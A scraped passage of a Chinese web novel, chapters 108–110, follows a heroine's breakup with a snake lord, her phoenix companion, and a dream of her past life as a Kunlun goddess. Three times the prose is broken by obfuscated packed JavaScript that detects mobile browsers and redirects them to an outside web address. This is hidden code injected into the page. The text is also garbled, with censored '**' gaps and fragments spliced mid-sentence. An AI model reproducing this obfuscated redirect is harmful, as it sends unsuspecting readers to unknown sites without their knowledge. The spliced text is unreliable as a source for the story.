d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253246|178489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有了爱人,你的爱人苏醒了,是好事,可我哪里做得不对,要被你那样冷漠对待? 你心疼自己的爱人我可以理解,但你的爱人不是因为我才沉睡数百年,你与你爱人的分离也不是我造成的,你不该把气撒到我头上。” “没有……我和你赌气,不是因为她,是因为、那晚我回去,还给你带了包炒栗子。 我听见你说,你对我好,只是怕惹我不高兴,你说我们之间是互相利用,你不会喜欢我…… 我误以为宋潮生是你心中放不下的青梅竹马,因为他你才无法接受我,我、怕失去你。” 他说,他怕失去我? 心尖颤了颤,接着就是阵阵抽痛。 “那你喜欢的人呢?那天你出去办事,办的不就是唤醒你爱人这件事吗? 蛇尊,我不知道你怎么理解男女感情,但在我们女孩心里,男女间的感情,最重要的是一心一意,你心里装着从前的爱人,又说怕失去我。 对不起,我接受不了这种既要又要的感情观。” 他还是坚持:“阿鸾,他不是我的爱人,我们的关系不是你想的那样……” “那是哪样?” 我麻木地站在他怀里,冷冰冰地重述前几天发生的事: “你不爱她,怎么会为了她,和我发生关系汲取我的灵气送给她。 你不爱她,怎么会在我们俩都受伤的时候,第一反应是去抱她。 你不爱她,你搂着她,纵容她亲近你。 你俩关系亲密,你处处以她为先,这些都能证明你俩的感情有多深,干嘛要自欺欺人呢?” 不等他狡辩我就用力推开他,浑身不自在道: “蛇尊大人,你别这样。我对别人的对象不感兴趣,现在和你靠太近,我有负罪感。” “阿鸾……” “不管怎么样,有些事你的确做了,有些画面我也亲眼看见了,蛇尊,我们就这样好聚好散吧。” 我不去看他悲切眼神,毫不留恋地转身就走。 他要来追我,被聪明的小凤凰扇着翅膀拦住。 “你有完没完啊!主人被狐毒折磨的时候,我都跑去给你通风报信了,可你呢! 你都没回来看主人一眼,要不是桑华大帝及时出现救了我主人一命,我主人现在哪里还有机会站在这听你狡辩! 呸!渣男!怪不得我主人瞧不上你!” “你别跟着我主人,不然我咬你!” 小凤凰骂停了他的脚步,确定他不会再追上来后,才飞身撵上我。 我们一人一鸟在山脚下的荒田边上漫无目的逛了两个小时。 小凤凰歪头瞧着我心不在焉的样子,不放心地问我:“主人,你在想什么?” 我无聊地踢着脚边碎石子,说: “在想,他前几天,是不是真的只是在气我,他和那个蛇女,是不是真在故意演戏……” 小凤凰哇了声,不解道:“什么情况,主人你为什么会这样猜测?” 我从容说道: “他不像是那种、会脚踏两只船的人,这条冷血蛇道德底线蛮高的。 而且,他想得到我的灵气,也不是非要和我发生关系才能汲取…… 要么,是他因为那晚我说的话,误会了,想多了,就找个蛇女来报复我。 要么,就是我高估他的人品了。” 小凤凰细想想,恍然大悟: “哦对,我也想起来了!那晚小凤问主人是不是喜欢帝君,主人死活不承认,后来小凤误以为主人有什么青梅竹马,就随口问了一嘴,然后门外就传来了动静。 我们追出去以后,我还在外面闻见了糖炒栗子的香味…… 帝君刚才也提到了那晚,那晚窗外的动静大抵就是帝君回来了! 是啊,帝君也是从那晚开始,变得很奇怪……” 我颔首:“嗯,所以他真有可能为了刺激我,在外面找条母蛇演戏。” 小凤凰砸吧砸吧嘴:“那、谢妄楼和你说的那些话,该不会也是假的吧?” 我谨慎道:“谢妄楼那条死狐狸奸诈狡猾着呢,他的话不可信。” 小凤凰飞近我些: “主人……既然帝君心里还爱着你,你也已经猜到帝君和那个女孩可能没关系,不是真正的道侣,你是不是、打算原谅他了?” “这些只是我的猜测,事实也有可能就是我们看到的那么残酷。” 我叹口气,苦涩道: “就算他们没关系,他只是想气我……我们之间的缘分也尽了。” 第108章 和东王没成婚,但闺女有了七个! “啊?” 小凤凰不明白的追着我问: “为什么啊,帝君没有什么初恋白月光,帝君爱的一直是您,帝君没有真的出轨,为什么你们还是不能在一起?” 我摇头:“我有精神洁癖,受不了这种报复方式。” 即便是报复,他和那个蛇女卿卿我我是真的。 搂搂抱抱是真的。 今天为了报复我可以和别的母蛇咬耳私语。 明天就有可能用和别的女人发生关系这种方式来刺激我…… 喜欢一个人,不该是这样。 小凤凰失落低头,“唔,这次是帝君做得过了,不怪主人生气。” 我慢悠悠地走到小池塘边,席地坐下来,放眼看着满塘翠绿荷叶与尖尖角的粉嫩荷花,嗅着熟悉的沁人花香,慵懒阖目:“好了,不提他了。我们在外面多待一会儿吧,偷得浮生半日闲……” “我去给主人摘荷花。”小凤凰待不住地挥动翅膀往水塘荷叶堆里扎。 很快就用嘴薅了两朵含苞待放的红莲。 回来时还顺道拽了片大荷叶。 红荷花落进我怀里,小凤把荷叶罩在我脑袋上,给我遮太阳。 “我看见荷叶堆里有莲蓬了!主人你等我,我再去弄几个莲蓬!” “好。” 十分钟后,小凤揪了满地的嫩莲蓬。 直到池塘里这波嫩莲蓬被她全部薅光,她才乖乖回到我身边,安静躺草地上歇息。 我剥了一把嫩莲子塞给小凤当零嘴,抚了抚小凤身上油光水亮的金黄鸟羽,我不禁在心里暗暗感慨:这小家伙平时看着大大咧咧,还总是神经大条,但之前那些年倒是将自己养得极好。 这一身柔软有光泽的凤羽,可不是普通人家能养得起的。 小凤凰啄着莲子昂头瞧我,傻兮兮地咯咯笑着,亲昵往我怀中扑。 “主人你真好,主人,小凤这辈子都不要再和主人分开了。” 我摸摸小凤凰毛茸茸的脑袋,在软软的青草地上躺下来,闭眼小憩。 小凤凰将莲子嚼得嘎嘣脆,埋头吃一会儿,便往我怀里蹭一次。 我沐着温暖的傍晚阳光,闭目静心养神…… 恍惚中,似又回到了云雾袅袅的巍峨神宫—— “娘娘此去,大抵需要个几千年方能归位。娘娘走后,昆仑无主,恐引凡间妖魔两界动荡,若有心怀不轨之神趁机潜入昆仑为非作歹……老仙还是觉得,娘娘入凡的消息,应当保密。” “娘娘此去乃是为了巡查三界,以凡人之身经历人世八苦,好替凡界苍生消除业障,同时,也为提前应娘娘的古神大劫。 近年昆仑太平,仙山之上又有我等老臣守着,即便外面人得知娘娘离开昆仑入了世,应该也没那么大胆子闯入昆仑捣乱。 我等都是修行了数十万载的老神仙,昔年上清大神与后土娘娘入世的时候,他们的神宫仅靠一个小神官便守住了。 昆仑之上,金仙三千,我们难道还不如一个小神官有本事,不能替娘娘守住这偌大的昆仑神宫么!” “你得了吧,上清大神殒命消散后,鳞宸宫暗中有妖魔两界守护!上清龙祖和妖魔两界的君主是什么交情?谁敢动上清大神的鳞宸宫,怕是不想要自己的祖宗十八代外加九族了! 至于后土娘娘,那更不能比了!后土娘娘的酆都六道宫是仅有土伯一神在守着吗? 她那个发了疯的徒弟可是见谁敢靠近后土娘娘的神府就砍!土伯算什么,土伯顶多算帮凶…… 酆都没了后土娘娘,却多了个酆都大帝,酆都大帝恨不得举酆都之力守护着她,谁敢冒犯! 天帝下去进酆都都得提前找他商量! 可咱们昆仑呢,除了三千金仙,连个靠山都没有,娘娘还把冥界的长烬君上给得罪了,他可是冥界未来的冥王…… 娘娘一走,天冥两界不来昆仑寻仇就不错了! 我们昆仑执掌天地三界秩序,危险程度可比六道宫与鳞宸宫高多了!不得不防啊…… 要不然,娘娘推迟几千年再下去,您不在昆仑神宫,我们总是心里没底。” 几名白胡子拎拂尘,一袭白衣仙风道骨的老神仙在我身后争吵不休。 我抬手抚过汉白玉栏杆上的牡丹盆景,指腹触摸姚黄牡丹的柔软花瓣,无奈低笑: “神祖开天辟地至今,人类已存在数十万年。 近年来,人间的业障之力越来越重,都影响到我们昆仑了,我们昆仑乃是执掌三界秩序的神府,人间苍生业障太重,理应由我们昆仑去解决。 本座亲自以凡人之身入世,就是想知道,人间究竟有什么东西,能迷惑得他们贪嗔痴气如此重。 本座入世,本座的神力也能压制世间苍生邪念的滋长。 凡尘业障太重,不是好事,久而久之,人人生来便自私自利,贪得无厌,人类就毁了。 本座,实在不想看见她创造的人类……一步步走向灭亡。 况且,凡尘没了人类,三界秩序就会失去平衡,天冥二界也会遭受大劫。 如今这个三界,人、神、妖、魔、鬼,各方势力的存在,才能令三界秩序井然,维持这个世界的平稳,表面看,天地人三界互不干扰、甚至有时还会互相敌对,实际上,天地人三界互相影响,缺一不可。 人与鬼看似受神掌控,可神,也需要人与鬼的信仰与供奉。 区区几千年,在我们眼中或许只是弹指一瞬,可于凡界苍生而言,何其漫长。 千年,足够那些业障之力将人类吞噬,我们神的职责,不就是庇护苍生吗,创造了他们,就该为他们负责。 就像,母亲生下孩子,孩子生病总不能扔着不管吧。” “我们担心的,还是娘娘你……提前应劫的事。 天道那老王八蛋是真的精啊!想当初三界安稳,不少在太古大战中立下汗马功劳的古神都相继殒命了,那些始祖神,不是重伤沉睡,就是应劫灰飞烟灭了。 大战刚结束,天道就迫不及待用什么天劫去坑他们。 我看啊,天道就是过河拆桥卸磨杀驴,怕那些始祖神们的力量太强大,自己不好掌控,令神族力量过于强大,导致天地人三界的力量无法平衡,这才整出什么神仙的天劫生死劫去光明正大消灭他们! 之所以留着娘娘,是因为还需靠娘娘执掌昆仑平衡秩序,镇守天规! 如今天条已基本完善,三界秩序安稳,天道就把娘娘的天劫也整出来了。 娘娘此次以凡人之身入世替苍生消除业障本就危险,还为了方便,准备提前应娘娘的古神之劫…… 万一期间出了什么差池,娘娘可就回不来了!” “还是把古神大劫与巡查三界分开吧!等娘娘你解决完了凡间的业障之力,回来准备个几百年再去应劫,这样比较稳妥!” 我挑了挑眉,淡然弯唇: “诸位想多了,本座执掌昆仑这么多年,岂是一场小小的古神之劫便能消灭的? 天道也不是卸磨杀驴,从前陨落的那些神明,说不准,等时辰到了,他们还会回来。” 身后的白胡子老道嘶了声,捋着胡子一本正经: “要不然,娘娘你还是向天道妥协了吧……东王他虽然性子冷冰块脸还不讲理,但是他打架厉害啊! 你要是同意了和东王的婚事,那咱们昆仑与蓬莱就是姻亲,娘娘你入凡后,东王也会看在娘娘的面子庇佑我们昆仑一二。” 我一愣,诧异转身:“???” 余下几个没心肝的面色凝重附和: “对啊,你看后土娘娘与酆都大帝不就是,后土娘娘的六道宫如今归酆都大帝管着,别说是生乱了,六道宫内的轮回境怕都要闲得发霉了!” “东王此神还是有优点的,他重情义,重承诺,只要娘娘你和他的婚事敲定了,他一定会在娘娘你离宫后,代你照顾好我们的!” 我再次:“????” “哎娘娘,你先别急着激动嘛! 我们都知道你想说什么,你想说你不喜欢他,但没关系,反正娘娘你都要下凡入世了,你先答应他,神族成婚,婚前的准备工作都得耗时好几百 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253247|178489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年。 再说老臣都给娘娘你和东王算过了,你们俩成婚,合您二位神仙气运的黄道吉日最早的一个,也在两千八百九十二年后! 在您入世之前,你俩肯定是成不了婚的! 你先忽悠忽悠他,和他说,你愿意与他遵从天道安排结永生之好,但大婚之事需等您从凡间回来再准备。 然后待您顺利解决完凡界的事,成功历完劫归位了,您再和他说,您仔细考虑了一下,还是觉得你俩不合适,随便找个理由把他甩了不就成了! 如此,娘娘你既不用嫁给东王,又能把东王拽过来免费给你干苦力,多好!” 我震惊不已:“你们在说什么胡话?这是骗婚!本座要真这么干了,本座的名声岂不是就臭了!” 白胡子老道揣着拂尘尴尬摸鼻头,没心没肺地低头嘀咕:“娘娘你现在的名声也不香啊……” 我:“……” 都是这群尽出馊主意的狗军师害的! 从议事殿出来,回到瑶池。 小凤凰正与青鸟绕亭子飞抢一份话本子。 “你给我看看嘛!这个版本的我还没读过呢!” “不给!青鸟哥你烦不烦,我还没看完呢!” “你都看一大半了,就给我看半天呗。我发誓,就半天,四个时辰,我加速看完就还你……” “有这半天时间我早就看完大结局了,你干嘛不多等半天,待我看完,今晚就给你看!” “不行啊,今晚主人吩咐我去天宫给天帝送奏折,上天界凌霄宝殿谒见天帝这一来一回得耽搁好几天。 好凤妹,你就让我先看吧,不然我往后这几天总记挂着这回事,看得见摸不着,抓心挠肺的。 若是因此在天帝案前失了礼数,那些碎嘴子老头又要念叨我!” “青鸟哥哥你要上天界啊……那好吧,我先给你看,但你记得走之前还我,不能把这本书带到天上去,不然被天界那些老东西传扬出去败坏了主人的名声,主人知道非得把咱俩拔成无毛鸟!” “好嘞,凤妹你放心,哥哥办事最靠谱了!” 一青一黄两只大鸟争抢着,手里话本子突然从天而降,正好落进了我的怀里。 “娘娘!” “主人!” 青鸟与凤凰慌促收翅落在汉白玉栏杆上,低头向我行礼。 我拿起怀里那份话本子,一看封皮上的书名‘仙凡奇缘’,顿时就头疼了! “这个话本子,又讲的是什么故事?本座在里面,又拆散了哪对痴情人?” 凤凰与青鸟相视一眼,缩了缩脑瓜子:“娘娘……” 我无奈叹息:“但说无妨。” 小凤凰小心翼翼地抬头打量我脸色,见我面上并无怒意,只有好奇,便壮着胆子糯糯道: “讲的是……主人你和东王大人的七女儿的故事……” 我惊得拿话本子的手一颤,错愕道: “六、六天前,本座不是才刚和东王蹦出一个大女儿吗?这才、几天……本座和东王连七女儿都有了?!” 小凤凰缩着脑袋,脑瓜子上的小揪揪都耷拉下去了: “呃,主人,六天前的话本子是去年凡界时兴的了,这个话本子,是前两天凡界书局刚刊印出来的、新书……呃,也算是同系列的续集。” 我:“……” 好嘛,我和他在神界婚还没成呢,在人间闺女都有七个了。 这生孩子的速度都快赶上瑶池的鲤鱼甩籽了! 我头疼的揉揉额角,“这次,应该不是本座狠心拆散女儿和女婿,把女儿女婿一个关在南海受罚千年,一个打入十八层地狱永不超生的故事了吧!” 小凤凰哽了哽,下意识歪头去看青鸟。 青鸟默默离小凤凰远些。 得,看这情况就晓得……这份话本子里又没放什么好屁! 八成又是新瓶装旧醋。 小凤凰欲哭无泪地弱弱道:“娘娘主人猜对了一半……不过!和您大女儿的那个故事还是有不同点的!” 我信步走进玉石凉亭,俯身坐下,“哦?说来听听。” 第109章 西儿,你甩不掉本帝的 小凤凰昂起脑袋,乖乖讲述: “这次的话本子主人公,是您和东王的七公主,说是七公主和六个姐姐去天河看人间,结果在天上看中了人间一名**葬父的孝子,然后不顾天规森严,毅然决定偷偷下凡帮助那个可怜的大孝子! 而她帮助大孝子的方式就是下凡给他做媳妇,她突然出现拦住了正要去员外郎家上工的董大孝子,谎称自己是去当地探亲的,结果没找到亲人,而自己又无父无母,无家可归,希望董大孝子收留。 大孝子就说啊,我自己也是**为奴要去别人府上做杂役下人,我实在没有能力收留你,你还是从哪来回哪去吧。 但是七公主就讲,我不要你养活我,我可以给你当老婆,我会纺线织布,还会洗衣做饭,你带上我一起去上工,我也可以给员外家做下人,我不嫌你穷,我只看重你的人品! 于是,在七公主一番情真意切的撩拨引诱下,两人就以槐树为媒,当场拜了天地成了婚,一起去员外家上工了。” “这就、成婚了?”我不确定地问小凤凰:“她一个仙女,跑下凡间去嫁一个**为奴的男人,还要跟着他一起去员外家当下人,图什么?” 小凤凰每当讨论起剧情就格外兴奋:“图他是大孝子啊!百善孝为先。” 我蹙眉:“人间的贵族小姐都喜欢嫁给一穷二白靠**葬父的男人?” 小凤凰摇头如拨浪鼓: “不不不,人间等级制度森严,贵族小姐与穷人成婚是要被笑话的。 而且贵族小姐从小养在深闺,学的是琴棋书画,吃的是山珍海味,品的是高山清茶,谈的是诗词歌赋。 她们别说和穷人成婚了,就是出门逛街,都不一定会让真正的穷人看清容颜,顶多会在马车经过乞丐堆时,从窗里抛出几枚碎银。 而且家中小厮敢觊觎本家小姐,是会被打断腿的!” 我问:“这个董大孝子,是否一表人才?” 小凤摇头:“话本子上描写,他相貌平平无奇。” 我又问:“那他是否满腹经纶?” 小凤还摇头:“书中说他,识字不多。” 我揉额:“那这些人,凭什么认为本座的女儿,会连人间的贵族小姐都不如,上赶着要嫁给他?” 小凤道:“因为,他心地善良为人憨厚老实。” “小凤,本座将你许给雀族的小四可好?他虽然能力不足、修为低浅,但是他勤奋好学,老实听话。” 小凤被吓得炸毛跳起来:“不——主人你别这样!我是凤凰他是雀,我们俩不合适的!” 我伸手拿起桌上的玉茶盏,捏起茶盖,轻拨茶面嫩芽:“我看你平日,总是为他打抱不平,挺心疼他的。” “我那是可怜他!但可怜他我也不能嫁给他啊!” 我弯唇,抿了口温热茶水:“后续呢?” 小凤凰委屈嘟囔: “我还没看完……不过,我昨晚先看了大结局。 结局是七公主和那个大孝子的事被娘娘您知道了,娘娘您就派天兵天将捉拿她回神界。 但七公主不乐意,你就狠心抽了七公主的仙骨,把七公主打下了凡间…… 然后七公主就和大孝子幸福美满的过完了一生,还给那个大孝子生了个大胖小子!” 我僵硬扯了扯唇角,心累道: “上次本座劈**大女婿囚禁了大女儿,上上次本座让织女和牛郎天各一方有情人不能相守,上上上次,本座斩了一条和凡间郎中相恋的白蛇…… 本座冤啊,本座都多少年没去凡间了!怎么反派角色都往我头上安! 本座是那么铁石心肠的神仙吗?还有什么大公主七公主! 到底是谁把本座和东王是夫妻的谣言传出去的! 一个女儿还不够,整出来七个!这事东王知道吗?!” 小凤凰心虚笑笑:“哈、哈……那个,主人。准确来说,您和东王不止七个女儿……” 我:“啊?” 小凤凰怯怯缩脑袋:“是十二个,对应人间十二月。” 青鸟吞了口口水,小声补充:“还有,十个儿子,对应天上的十个太阳……” 我愣住:“十个太阳不是被射下去了九个吗?” 青鸟尬笑:“又写回来了……” 我:“……” 小凤凰:“您和东王的事,是司命星君传出去的……星君说,您和东王在民间都是有庞大信众群体的神明,要是突然在一起,怕你们的信众接受不了,所以先拿神话传说探探底,试试两位神明信众的承受力。” 青鸟:“谁知道,您和东王两家的信众对于你俩要成婚做夫妻的事,格外赞成!而且还……” 小凤凰接上:“而且还觉得你俩绝配!” 青鸟:“民间的这些话本子传说,东王两个月前,也知道了……” 小凤凰:“东王还说,十二个女儿,不对,应该是十三个……” 我:“?” 小凤凰不好意思地嘿嘿笑着:“因为对应人间月份的话,还应该再添个闰月。” 我哽住。 算了,不生气不生气,不能和他计较。 东王这家伙只会变着法地让我不自在。 “本座入世前,会留一缕神识在昆仑神宫,镇守仙山。本尊入世的消息,尔等不可对外泄露半句,否则本座决不轻饶!” “对外,便声称本座要闭关修炼。昆仑神宫三千金仙由暮春上仙代为管理。 青鸟,你随本座去冥界,你如今正值换羽期,本座不能时时在你身畔照顾你,你与那些金仙又不对付,将你托付给他们照顾,本座不放心。 冥界的长烬神尊是本尊师兄,你以后便拜他为师,随在他身畔,他会替本座养好你。待本座顺利归来,本座再去找师兄要回你。” “凤凰,本座今日封你为昆仑凤皇,你留在神宫,替本座监督昆仑门下三千金仙!” 凤凰与青鸟依依不舍地看着我,俯首乖乖听从命令。 我从昆仑前往冥界那日,冥殿派来为我引路的黑白无常一左一右随侍在我身畔,被吓得瑟瑟发抖。 直到酆都神宫的土伯奉命前来接应我,两无常才如释重负,脚底抹油逃得飞快。 轮回殿外,我看见了送我上路的长烬师兄。 啧,数十万载过去了,他还是如此丰神俊朗,霞姿月韵,这身形,愈发养眼了…… “人间那头,本尊已经帮你安排好了,你的第三世会转生到信奉你的幽冥山巫族,若是顺利,第三世结束你就能回来了。” “嗯。” “你这一走,东王知道吗?” “要他知道作甚?” 长烬师兄深深望了我一眼,无奈随我去了。 坠入轮回道的那一刹,我忽然听见一道熟悉的声音从轮回入口上方传来—— “西儿!” **,好肉麻! 随即,一抹青影也追着我闯入了轮回道…… 轮回道上方是师兄的愠怒呵斥:“东王!不可扰乱天地法则!” 轮回道的金光将我包裹其中,令我脑中一片空白,不自觉合上双目后…… 有一只很温暖的大手,一把握住了我的手。 又将我的身子捞进怀中,用力抱住,大手狠狠摁着我的脊背,力道之重,恨不能将我融进他的骨血。 “本帝不惧什么天道不管什么天地法则,本帝只怕、她抛下本帝,不回来了。” “西儿,你甩不掉本帝的,就算是去赴死,你也要带着本帝一起!” 谁要去赴死来着? 我吗…… 谁说我要去赴**! 本座只是出门巡查三界怎么人人都觉得本座是去找**…… “两千年了,主人体内的神力果然在慢慢复苏了……小水滴,你在尝试唤醒主人的记忆吗?冥王说,主人现在还没到回归的时辰。” “帝君不知为何,竟然也出现在了凡间。但他现在不记得我了。” “小瑶池,你要帮忙保护主人啊,帝君不靠谱,还好当年主人逃婚了!” “渣男,小凤瞧不起他!” 我这一觉睡得头昏脑涨,不知过了多久,耳边忽然传来荒草被压的窸窣声…… 我以为是小凤,可手一抬,在怀里摸到了睡得四仰八叉的小家伙。 那我头顶的是什么? 我迷迷糊糊地睁开双眼…… 接连被吓了两次。 第一次是恍惚看见草地里有条手臂粗的大黑蛇蠕动着身躯,在缓缓朝我靠近…… 第二次,是下一秒,一条青色巨蛇猛地出现,一口咬住那条想伤害我的黑蛇,将黑蛇扔飞百米远。 黑蛇摔落在地被青蛇震慑住,瑟瑟发抖地忙扭头飞窜进旁边的茂密树林。 见到这一幕,我愣了愣,但又极快地重新闭上双眼。 假装不知道他的存在。 现在做这些…… 又有什么意思。 后来的一整夜,他和紫蛇都没有再出现。 也许,是真的带着心上人回自己的洞府生活了…… 不过这样也好。 我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她连穿衣服都喜欢挑银饰多、铃铛多的,可现在却为了讨好一个不值得的人,换上了外面的服装…… 这么好的姑娘,宋潮生不懂得珍惜,是他眼瞎。 “最近潮生哥住在我家里,我忙着带他去看村子里这几年来的变化,才忽略了你……哎呀镜镜你别吃醋嘛,我这不是来了么?而且我想着你有蛇王大人陪,应该不需要我,这才没和你交代行程打招呼。” 银杏还不晓得我已经和青漓分开了的事,拉着我的手欢喜展示今天这身打扮: “镜镜看!我这身裙子漂亮吗?还有我的头发,我脖子上的珍珠项链……对了镜镜,这珍珠项链是潮生哥送给我的!我真的太喜欢了!” 我拉住她的手,心疼地瞧着她:“干嘛突然换外面人的打扮,我还是觉得你穿阴苗族服装好看。” 银杏耸耸肩:“没办法呀,潮生哥不喜欢,潮生哥觉得阴苗族的服饰打扮很老土……他喜欢外面女孩的打扮!” 我摸摸她耳朵上的那颗圆润珍珠: “可是,女孩子打扮自己,不该是取悦别人,而应是取悦自己。银杏,你穿这身衣服真的自在吗? 为什么要迎合别人的喜好,为了别人改变自己,让自己不舒服…… 真正在意你的人,无论你是何模样,怎么打扮,在他眼中,你都是最美的姑娘。” 银杏听完怔了怔,随后大大咧咧地挥手: “哎呀镜镜,我和他的情况你又不是不知道……从始至终都是我在暗恋他,追人嘛,总要付出点心思! 只要他开心,只要他喜欢,让我做什么我都心甘情愿,现在只是需要换身衣服罢了,又不是什么大不了的事。 再说,外面的女孩子不都是这么穿的么?我本来就不是阴苗族人……按理说,这就是我该穿的衣服!” 我晓得自己劝不动她,只能沉沉叹口气,握住她的手在心里暗暗替她感到不值。 不过我们话刚说完,宋潮生那家伙竟也巧合地跑来找我了。 许是头一天被青漓吓出了阴影,宋潮生在我门口犹豫好一阵,直到看见银杏也在,这才敢放心推开半敞的院门走进来。 “镜镜……”宋潮生一进门就直奔我大步迈来。 银杏这个没出息的家伙听见他声音,扭头看过去。 目光落在他身上,立时眼前一亮撒开我的手主动欢喜地迎上去:“潮生哥,你也来找镜镜玩啊!” 奈何宋潮生看见她就沉了脸色,脚下一顿,蹙眉打量着她今天的打扮,没好气地嫌弃道: “你怎么穿成这个鬼样子?这件裙子适合你么你就穿?现在谁还穿这么粉的颜色,难看**,赶紧回去换了!” 第110章 鸾镜,我们私奔 银杏陡然愣住,目露迷茫,小心翼翼地拘谨询问:“潮生哥你、不喜欢吗?” 红着脸卑微地连连低头道歉: “对不起对不起……潮生哥,我以为外面的女孩子都是这么穿的,我马上就回去换掉它,我、我还有其他颜色的裙子,你不喜欢粉色,我换成蓝色,实在不行黑色也……” 宋潮生不耐烦的焦躁打断:“不是颜色的问题,是、” 特别不尊重的眼神在银杏身上打量,宋潮生拧眉高高在上地指点银杏衣着: “你这身裙子是礼服款式,礼服你知道是什么场合穿的吗?是宴会,或者出席比较重要的活动才会穿。 礼服属于正式服装,和咱们阴苗族女孩的玄色九鸾裙性质一样。谁让你不年不节的时候穿了? 还有,你穿礼服也就算了,还穿浅粉色,你都多大了,浅粉色是小孩子才会穿的颜色,你都二十三了,怎么还是不晓得把自己打扮得成熟点!” “我、我……就是看这身裙子款式好看嘛。” 银杏被宋潮生训得悄然红了眼眶,低着头手足无措道: “是我不懂规矩……我现在就回去把衣服换掉,你别生气……” 看着银杏在他面前这样唯唯诺诺被打击自尊,我忍不下去地一把拉住银杏胳膊,不许银杏走,当面冷声反驳宋潮生: “我们只是住在山里,不是没通网,你说的这些有钱人规矩,我们也了解!礼裙又怎么了,银杏今天穿的这身严谨说,根本不算礼裙,只是款式略像,比较中规中矩,穿着像书香门第的小家碧玉。 换句话说,即便她穿的就是礼裙,有谁规定礼裙平时不能穿了? 衣服设计出来就是为了给人穿的,如果不能穿,只能放着吃灰,或者一辈子只能被穿一两次,那她被设计制造出来,还有什么意义? 在我们阴苗族没有外面的那些条条框框,想穿什么就穿什么。 我们在自己家里难道还不能实现穿衣自由吗? 我今天这身也是鬼师礼服,我不仅今天穿,我昨天前天也穿,明天后天还穿,犯了谁家哪条禁忌么?” “镜镜我、不是这个意思……”宋潮生被我怼得说话都结巴了,老脸通红。 银杏自责地拉住我手,小声阻止我: “镜镜你别、是我不好,我不了解外面上流社会的不成文规定,在潮生哥面前丢人了。再说也幸亏潮生哥提醒我,不然以后我就要在外人跟前丢脸了……” 我握住银杏的指尖,用力攥紧,接着道: “再说,不是你嫌她穿本族服饰土,她才想着换上外面人的服装让你看得更顺眼些么? 潮生哥,我知道你现在发达了,在大城市混得风生水起,但你生在我们阴苗族长在我们九黎山,你的根始终在我们阴苗族。 外面人来阴苗族为表尊重地方风土人情还讲究入乡随俗呢,你一个本族人,更不该嫌弃养育你的故乡贫穷落后。 我们阴苗族是上古神族的后裔,我们的服饰有浓重的地方文化特色,无论是银饰也好,还是刺绣也罢,都是我们老祖宗传下来的非物质文化遗产。 你现在将外面那些穿衣风格视为流行高贵,殊不知我们阴苗族的服装首饰,在外面,也是千金难求。” “我不是嫌她穿的本族服饰土……” 宋潮生红着脸狡辩: “镜镜你误会我了,我怎么会觉得自己老家的民风民俗不好呢?我只是觉得、银杏平时过于不注重形象,而且,穿衣服的品位不如你。 镜镜,你穿本族服饰就很好……银杏你看你,村里都是泥土地,你还穿个高跟鞋! 还有、这珍珠耳钉,这么大,城里人都戴小的,只有四十来岁的豪门婆婆才会戴这么大的珍珠。” 说着,还伸手摸了摸银杏的珍珠耳钉,眼底更嫌弃了: “这还是假珍珠!银杏,你不懂戴假首饰,是极不尊重人的行为吗?没有就是没有,没有宁肯不戴,也不可以戴假的!” 银杏委屈地湿了眼角,窘迫难堪地立马抬手捏住双耳,挡住耳垂上的珍珠耳钉,怯怯解释: “我、是觉得这对珍珠耳钉比较配你送我的珍珠项链,而且,村里也没人会在意我戴的珍珠耳钉是真是假……” “没人在意,你戴的就不是假的了吗?没人认出来,你耳朵上的假珍珠就能变成真的了吗?银杏,我早就和你说过,女孩子虚荣心不能太强。 我为什么会说,你穿本族服饰土,你真的心里没数吗? 你以前恨不得满头都戴上花簪子,就算是阳苗那边的姑娘,也只会在重要日子才戴那么多银花簪,你每天头上叮叮当当,身上叮叮当当,看着像个暴发户似的,漂亮吗? 我本意是希望你能穿得正常点,就像镜镜,你看镜镜的衣服多朴素,身上连个多余装饰品都没有! 还有镜镜的头发,只插了一根银簪子,落落大方,镜镜的脖子上从来不戴什么首饰。 你啊,老师攒钱给你打的那些压箱底银饰,你恨不得都戴在身上,你本就生得不漂亮,戴那么多首饰更显得累赘!” 这人的话我听得一头穷火,忍无可忍地张嘴想骂他,可胳膊却被银杏红着眼眶搂得极紧。 我错愕的偏头看咬唇憋着眼泪,眼角与鼻头都红彤彤的银杏,不能理解的闭眼深呼一口气…… 宋潮生真是这姑娘的克星! 这姑娘也太能忍了,换成旁的男人,估摸早就被她铁拳招呼了。 算了,既然她还对宋潮生不死心,那纵着宋潮生多刺激她几回,说不准、她就突然想通了,放下了呢! 宋潮生倒也不辜负我的期望,继续自以为是、得寸进尺地对银杏评头论足: “你别嫌我啰嗦,你要不是老师的女儿,我也不会管你。银杏,虽然我的话会让你不开心,但我是真的为你好……还有。” 他垂下目光,落在银杏脖子上那串珍珠项链上:“这珍珠,还是不适合你,珍珠会衬得你皮肤黑,这样,你把珍珠给我,下次我帮你带石榴石项链。” 我:“???” 属实是被他的离谱操作震惊到了。 还能这么直接的要? 更让我脑子打结的是,银杏还真就一本正经信了他的鬼话。 一头雾水地抬手摸摸项链,银杏严肃皱眉: “是吗?那我、还是不戴了……我皮肤是有些黯沉。早就和潮生哥说过,不用为我破费……我现在就把项链摘下来还给你。 潮生哥也不用给我带什么石榴石项链,你知道的,我人比较粗俗,这些好东西留在我这真是浪费了。 